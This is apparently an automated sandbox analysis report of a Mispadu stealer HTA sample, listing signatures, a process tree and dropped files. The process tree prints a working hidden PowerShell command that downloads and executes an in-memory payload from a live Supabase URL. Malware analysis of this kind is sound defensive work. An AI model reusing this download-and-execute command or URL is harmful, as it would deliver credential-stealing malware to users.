Analysis
- max time kernel
148s - max time network
142s - platform
windows10-2004_x64 - resource
win10v2004-20260513-en - resource tags
- submitted
10/07/2026, 04:24
General
- Target archivos-20260702-174516.hta
- Size 15KB
- Sample260710-e1fl7scz4n
- SHA256 21ccc715f541587d62db604e205772c1aca91ad162ef3dc2614fba55553b2daf
Malware Config
Extracted
-
ps1
-
ps1.dropper
https://tpldftybmovnmgbswpnh.supabase.co/storage/v1/object/public/c8c76ce9/03.jpg
Signatures
- Family: Mispadu
Mispadu is a stealer written in Delphi.
- Detects Mispadu 2 IoCs
- Detected Nirsoft tools 2 IoCs
Free utilities often used by attackers which can steal passwords, product keys, etc.
- NirSoft MailPassView 2 IoCs
Password recovery tool for various email clients
- NirSoft WebBrowserPassView 2 IoCs
Password recovery tool for various web browsers
- Badlisted process makes network request 6 IoCs
Network request originating from process or tool commonly abused by malware.
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
- Drops startup file 1 IoCs
- Executes dropped EXE 2 IoCs
- Hide Artifacts: Hidden Window 1 TTPs 1 IoCs
Windows that would typically be displayed when an application carries out an operation can be hidden.
- Suspicious use of SetThreadContext 1 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- System Location Discovery: System Language Discovery 1 TTPs 6 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Checks processor information in registry 2 TTPs 4 IoCs
Processor information is often read in order to detect sandboxing environments.
- Enumerates system info in registry 2 TTPs 3 IoCs
- Modifies Internet Explorer settings 1 TTPs 1 IoCs
- Modifies registry class 20 IoCs
- Suspicious behavior: AddClipboardFormatListener 1 IoCs
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious behavior: GetForegroundWindowSpam 1 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of FindShellTrayWindow 15 IoCs
- Suspicious use of SendNotifyMessage 11 IoCs
- Suspicious use of SetWindowsHookEx 6 IoCs
- Suspicious use of WriteProcessMemory 15 IoCs
- Views/modifies file attributes 1 TTPs 3 IoCs
Processes
-
C:\Windows\SysWOW64\mshta.exeC:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\archivos-20260702-174516.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}1⤵
- Checks computer location settings
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c start /b powershell.exe -WindowStyle Hidden -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command "[AppDomain]::CurrentDomain.Load([Convert]::FromBase64String((New-Object System.Net.WebClient).DownloadString('https://tpldftybmovnmgbswpnh.supabase.co/storage/v1/object/public/c8c76ce9/03.jpg'))).EntryPoint.Invoke($null,$null)"2⤵
- Hide Artifacts: Hidden Window
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell.exe -WindowStyle Hidden -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command "[AppDomain]::CurrentDomain.Load([Convert]::FromBase64String((New-Object System.Net.WebClient).DownloadString('https://tpldftybmovnmgbswpnh.supabase.co/storage/v1/object/public/c8c76ce9/03.jpg'))).EntryPoint.Invoke($null,$null)"3⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
-
C:\oy7\mew227ai.exe"C:\oy7\mew227ai.exe" mew2274⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
-
\??\c:\windows\SysWOW64\attrib.exe"c:/windows/SysWOW64/attrib.exe"5⤵
- Views/modifies file attributes
-
-
\??\c:\windows\SysWOW64\attrib.exe"c:/windows/SysWOW64/attrib.exe"5⤵
- Views/modifies file attributes
-
-
\??\c:\windows\SysWOW64\attrib.exe"c:/windows/SysWOW64/attrib.exe"5⤵
- Drops startup file
- System Location Discovery: System Language Discovery
- Views/modifies file attributes
-
-
-
-
-
C:\Program Files\Microsoft Office\Root\Office16\OUTLOOK.EXE"C:\Program Files\Microsoft Office\Root\Office16\OUTLOOK.EXE" -Embedding1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Modifies Internet Explorer settings
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of SetWindowsHookEx
-
C:\oy7\mew227ai.exeC:\oy7\mew227ai.exe1⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Modifies registry class
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of SetWindowsHookEx
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
__PSScriptPolicyTest_c0gl2anr.uvk.ps1
f01b4d95cf55d32a.automaticDestinations-ms
I
mew2271.722
mew2274.zip
mew227a3.zip
mew227ai.exe
mew227m1.zip
mew227
memory/624-120-0x0000000010000000-0x0000000010036000-memory.dmp
memory/1808-132-0x00007FFCC13B0000-0x00007FFCC13C0000-memory.dmp
memory/1808-130-0x00007FFCC13B0000-0x00007FFCC13C0000-memory.dmp
memory/1808-134-0x00007FFCBF350000-0x00007FFCBF360000-memory.dmp
memory/1808-133-0x00007FFCBF350000-0x00007FFCBF360000-memory.dmp
memory/1808-128-0x00007FFCC13B0000-0x00007FFCC13C0000-memory.dmp
memory/1808-131-0x00007FFCC13B0000-0x00007FFCC13C0000-memory.dmp
memory/1808-129-0x00007FFCC13B0000-0x00007FFCC13C0000-memory.dmp
memory/4480-172-0x0000000000400000-0x0000000000A07000-memory.dmp
memory/4480-171-0x0000000000400000-0x0000000000A07000-memory.dmp
memory/4988-38-0x0000000004AC0000-0x0000000004AD0000-memory.dmp
memory/4988-17-0x0000000007660000-0x0000000007CDA000-memory.dmp
memory/4988-6-0x0000000005A10000-0x0000000005A76000-memory.dmp
memory/4988-5-0x00000000059A0000-0x0000000005A06000-memory.dmp
memory/4988-4-0x00000000050B0000-0x00000000050D2000-memory.dmp
memory/4988-3-0x0000000005140000-0x0000000005768000-memory.dmp
memory/4988-15-0x0000000006080000-0x000000000609E000-memory.dmp
memory/4988-16-0x0000000006110000-0x000000000615C000-memory.dmp
memory/4988-0-0x0000000004AC0000-0x0000000004AD0000-memory.dmp
memory/4988-12-0x0000000005A80000-0x0000000005DD4000-memory.dmp
memory/4988-22-0x0000000007CE0000-0x0000000007D7C000-memory.dmp
memory/4988-21-0x0000000007500000-0x0000000007592000-memory.dmp
memory/4988-20-0x0000000008290000-0x0000000008834000-memory.dmp
memory/4988-19-0x0000000004D90000-0x0000000004D98000-memory.dmp
memory/4988-18-0x0000000006580000-0x000000000659A000-memory.dmp
memory/4988-2-0x0000000004AC0000-0x0000000004AD0000-memory.dmp
memory/4988-1-0x0000000004AD0000-0x0000000004B06000-memory.dmp